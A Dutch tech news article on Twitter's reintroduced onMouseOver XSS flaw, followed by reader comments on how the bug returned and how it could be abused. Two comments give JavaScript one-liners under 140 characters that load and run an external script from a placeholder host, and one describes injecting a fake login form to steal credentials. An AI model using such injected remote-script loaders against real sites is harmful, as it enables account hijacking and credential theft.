Twitter: xss-lek was eerder gedicht maar keerde terug

Twitter stelt in een blog dat het de kwetsbaarheid op zijn website waar dinsdag via een javascript-exploit op grote schaal misbruik van werd gemaakt, al vorige maand had gedicht. Het parsingsprobleem is vermoedelijk na een site-upgrade teruggekeerd.

Dinsdag werden de tijdlijnen van veel Twitter-gebruikers overspoeld met gemanipuleerde tweets die met behulp van een onMouseOver-event van javascript, code in een browser uitgevoerden. Bezoekers van Twitter.com werden onder andere doorgestuurd naar een Japanse pornosite zodra de muiscursor over een dergelijk bericht gleed. Ook werden berichten automatisch 'geretweet'.

Twitter wist de bug na enkele uren te dichten. In een toelichting op de zaak laat de firma weten dat de fout op de website vorige maand al was ontdekt en gerepareerd, maar dat de bug toch weer opdook. Waarschijnlijk is dit gebeurd bij de site-upgrade die het bedrijf op 14 september doorvoerde, maar de precieze oorzaak is niet bekend. Verder stelt Twitter tot nu toe geen aanwijzingen te hebben dat de exploit tot grote schade heeft geleid, zoals het stelen van wachtwoorden. Gebruikers van Twitterclients en de mobiele website zouden niet door de exploit getroffen zijn.

Inmiddels wordt er op de microblogdienst en op het web druk gespeculeerd over welke gebruiker dinsdag als eerste de gewraakte exploitcode op Twitter plaatste. Een 17-jarige Australiër die op Twitter opereert onder de alias @Zzap stelt tegenover persbureau AFP dat hij als eerste de gewraakte javascript-code plaatste waarna het balletje vanzelf ging rollen. Beveiligingssite Netcraft onderschrijft de claim van Zzap, maar The Guardian schrijft dat de Japanse ontwikkelaar Masato Kinugawa al op 15 augustus de xss-exploit bij Twitter rapporteerde. Toen Twitter zijn website op 14 september vernieuwde zou Kinugawa opnieuw de bug zijn tegengekomen.

Reacties (38)

[KirovAir]

Slordig foutje, maar kan gebeuren. Valt me nog mee hoeveel misbruik hier van gemaakt is. Met een beetje javascript kennis kon je al gauw een fake-login formpje injecteren, die eventuele login data zo naar je webservertje kon sturen.

[StainlessSteel]

De code mag uiteraard niet meer dan 140 tekens bevatten, dus dat lijkt me niet helemaal reëel.

[Muthas]

De 140 tekens limiet is niet echt relevant, aangezien er al een versie in omloop was die via jQuery's getScript externe javascript inlaadde.

[.oisyn]

Dat gezever over $.getScript() de hele tijd, ook zonder jQuery kun je gewoon een script inladen binnen 140 tekens

s=document.createElement("script");s.src="http://example.com/script.js";document.body.appendChild(s)

[spellcoder]

Dan is het volgende (95 karakters) net 5 karakters korter:
d=document;d.body.appendChild(s=d.createElement("script"));s.src="http://example.com/script.js"

Zie maar wat je in 140 or 1024 bytes (zonder externe js libraries) kan doen op http://js1k.com/demos .. waarbij http://js1k.com/demo/814 mijn 1024 bytes demo is Maar tussen de entries zitten ook een reeks 'tweetsized' effecten.

[mashell]

Ontopic. Hoe komt het, dat dit zulk groot nieuws is dat het op het NOS Journaal is?

Omdat het nieuws gemaakt wordt door journalisten, journalisten twitter gebruiken (=lekker makkelijk "nieuws" scroren) en dit dus in hun belevingswereld zit.

[tweaktubbie]

Nou, wat denk je als een random fake tweet generator zou gaan werken.
Valse beursberichten, strafbare of ongewenste uitlatingen. Impact lijkt me groot.
Voorbeeldje: Bill Cosby is al meermaals doodverklaard op Twitter.

[jvreuls]

In 140 tekens kun je wel een extern Javascriptje includen, en dan heb je geen limiet meer.

[Nielsvr]

getScript stelt je in staat externe javascriptcode in te laden, dus je bent verder niet echt gelimiteerd door die 140 tekens.

[feuniks]

Nee. Zoiets mag per definitie niet gebeuren. Dit soort dingen gebeuren alleen als release management en change management niet goed ingericht zijn. Beide processen hadden moeten onderkennen dat er naast de minor change / patch management ook nog een major change / nieuwe versie in de pijplijn zat. Vervolgens had men moeten kijken of de betreffende module / funcionaliteit ook in deze nieuwe versie zit en de betreffende patch ook moeten opnemen.

Je ziet dit soort grapjes ook wel als in versie 1.8 een nieuwe functionaliteit wordt aangeboden, die vervolgens in 2.0 weer weg is om in 2.1 weer terug te keren.

En voor Stainless steel. Je hoeft maar een code aan te kunnen roepen die (onder water) iets op een andere server opstart en je bent klaar. Dat hoeft geen 140 karakters in beslag te nemen.

[Verwijderd]

Het leuke is dat we dit soort grapjes 10 jaar geleden al uithaalden op HTML chat sites. Een soort kat-en-muis spelletje. Steeds werd het filter iets aangepast, waarna op een gegeven moment weer een exploit werd gevonden waarmee je toch weer javascript kon laten uitvoeren. Bijvoorbeeld een obscure codering om bepaalde tekens te omzeilen, of een slecht gedocumenteerde browser-specifieke manier.
Later kwamen er hele lijsten met dit soort trucs en werd het plots 'XSS' en viel het onder de 'hacks'.

Hierdoor heb ik zelf iig in mijn sites altijd mijn allerbest gedaan om (via whitelists) om alleen HTML te accepteren dat geen gevaar vormt.

Ach, het is wat ze zeggen, 'oud wordt weer nieuw'. Maar toch echt rampzalig slordig, dat mag gezegd worden.

[pim]

En je wordt niet omhoog gemodereerd ook

Zoiet kan NIET gebeuren. Als je deze basis kennis niet beheerst is elke website onveilig die je maakt.

[daft_dutch]

Zoiet kan NIET gebeuren.

Het "Een bug gefixed en niet mee genomen in de volgende (major) release" scenario. Gebeurt zo vaak. Zeker als je denkt dat het nooit kan gebeuren. Apart is het zeker dit scenario dient door elk testplan gedekt te worden. Niet direct de test afdeling van twitter afschieten want die zal waarschijnlijk als afdeling niet bestaan.

[Verwijderd]

Vind de wind die er om ontstaan is eigenlijk een beetje buiten proportioneel. Tis een beetje zo'n "irritant maar verder niet echt boeiend" ding dit. Niet zo dat er computer gevaar lopen of data onveilig is. Technische team daar zijn wellicht ook maar mensen.

[Verwijderd]

Inderdaad, alle Belgische clickwhoring nieuwssites spraken direct over "gevaarlijk Twittervirus" de wereld gaat eraan 2012!

[Verwijderd]

Dat zou ik niet te hard roepen. Zo'n javascriptje zou door middel van een browser gat een rootkit op je PC kunnen installeren, of je redirecten naar een malware pagina die dat (bijv. via een gat in Flash) doet.

[Exe-cuter]

Veel reacties laten lijken alsof dit een zeer basis bugje is dat iedere programmeur direct had moeten zien. Dit is imo overdreven. Even ter verduidelijking: berichten op twitter.com worden niet altijd als plain-text weergegeven, maar worden geparsed zodat links, gebruikersnamen en hashtags aanklikbaar zijn.

Blijkbaar zat er een foutje op de (waarschijnlijk regex) van de parser waardoor het fout ging bij url's eindigend op "@". Sowieso een fout van Twitter, maar niet zo onvergeeflijk als ze ons doen geloven..

[mokkol]

Dit moet natuurlijk in een simpel testje zo te verkomen zijn. Moeten die simpele testjes er natuurlijk wel in de branch mee gemerged worden en natuurlijk ook uitgevoerd na het deployen van een nieuwe versie.

En dit is een simpel basis bugje.... escapen van javascript. In Ruby on Rails(waar twitter in gemaakt is) is daar standaard gewoon een functie voor.

Het is heel simpel. Elke user input moet ge'escaped worden. Helemaal user input die direct naar de DOM wordt geinjecteerd. Helemaal input die naar iedereen zijn DOM wordt geinjecteerd

[Reactie gewijzigd door mokkol op 26 juli 2024 14:07]

[.oisyn]

Waarschijnlijk helemaal geen regex fout, maar een double-parse fout waarbij het omzetten van een URL en het omzetten van een @ na elkaar gebeurt ipv tegelijkertijd. Daat zie je ook altijd bij die zelf in elkaar geprutste UBB parsers, die voor elke tag apart een regex replace doen, waardoor het elkaar in de weg kan gaan zitten (een stuk kan meerdere keren gereplaced worden), terwijl het handiger is om de string eerst te tokenizen en dan vervolgens over de tokens heen te itereren en zo het resultaat van begin af aan opbouwt.

[nika]

Version control anyone? Hoe kan je nu een essential patch maken en die blijkbaar niet goed in je version control systeem zetten, zodat bij nieuwe updates de patch er weer uit valt

[.oisyn]

Beetje kort door de bocht. Het kan ook dat de patch bij een merge van twee branches per ongeluk is verdwenen. Oftewel, het al dan niet hebben van version control zegt niets over de mogelijkheid tot dit soort fouten.

[latka]

Daarom hebben echte dev. teams meerdere lagen om dit op te vangen. Dit had dan bijvoorbeeld tijdens en regressietest of anders een penetratietest gevonden geworden. Het blijft in alle gevallen mensenwerk maar de kans dat 3 of 4 verschillende mensen dezeflde fout maken waardoor dit toch live gaat is wel heel erg klein.
Echter, ik vermoed dat het Twitter dev. team niet zo heel erg professioneel is: dit soort extra zaken zitten je time-to-market in de weg en worden dus niet snel toegevoegd als het geen direkte meerwaarde oplevert.

[rblon]

ondertussen runt dit niet zo professionele team 1 van de drukst bezochte sites... doen ze dus toch iets goed

[.oisyn]

Commercieel succes zegt vrij weinig over de professionaliteit en de kundigheid van de developers. Waarmee ik overigens ook niet wil insinueren dat de lui van twitter niet professioneel zijn, dat waren de woorden van latka.

[mokkol]

Foutje zit in een klein hoekje. Ze gebruiken git als versie beheer. Heel makkelijk om verschillende branches met elkaar te mergen. Ze hadden gewoon even niet goed opgelet en gedacht snel even een update uit te voeren en niet gemerged met een branch van een tijdje geleden vergeten toe te voegen. Kan gebeuren. Niet te vaak alleen

[Rupie]

Toch slordig. Ga je je toch afvragen welke problemen er nog meer opgelost zijn om vervolgens weer geintroduceerd te worden. Zou wel grappig zijn als hij er bij de release van Twitter 2.0 weer in zit

[Woudloper]

Twitter 2.0 was niet vatbaar voor dit specifieke probleem.

[Verwijderd]

Toch wel vaag... Bij een site waarbij het doel is dat derden informatie op de site zetten, moet je het systeem toch driedubbel beveiligd hebben tegen dit soort simpele hacks.

Het is niet alsof hier nou een briljante truuk wordt uitgehaald...

[Woudloper]

Zover ik heb begrepen hebben ze Twitter 1.0 alleen gepatched met een soort van zwartelijst voor dit type code. Twitter schijnt nog steeds vatbaar te zijn voor permanente XSS aanvallen.

[YopY]

Klinkt als een foutje bij het mergen van de development versie ('twitter 2.0') met de trunk / productiecode. Als ze al een test voor die exploit hadden kan die ook zomaar overschreven zijn.

[Vinnybinny]

Je bent als grote website wel heel slecht bezig als je zulke kleine dingen niet beveiligd. Iets waar de hele site voor is gemaakt is niet beveiligd?!

Snap niet dat zoiets kan gebeuren.

[mokkol]

Dit is niets minder dan een branch issue. De master branch was gefixed en de nieuwe branch was de master branch niet gemerged.

Foutje dat iedereen die hier mee te maken heeft wel eens meemaakt

Je kan hier tests voor schrijven natuurlijk. Zullen ze vast en zeker gedaan hebben, maar die moet je ook in je nieuwe branch mergen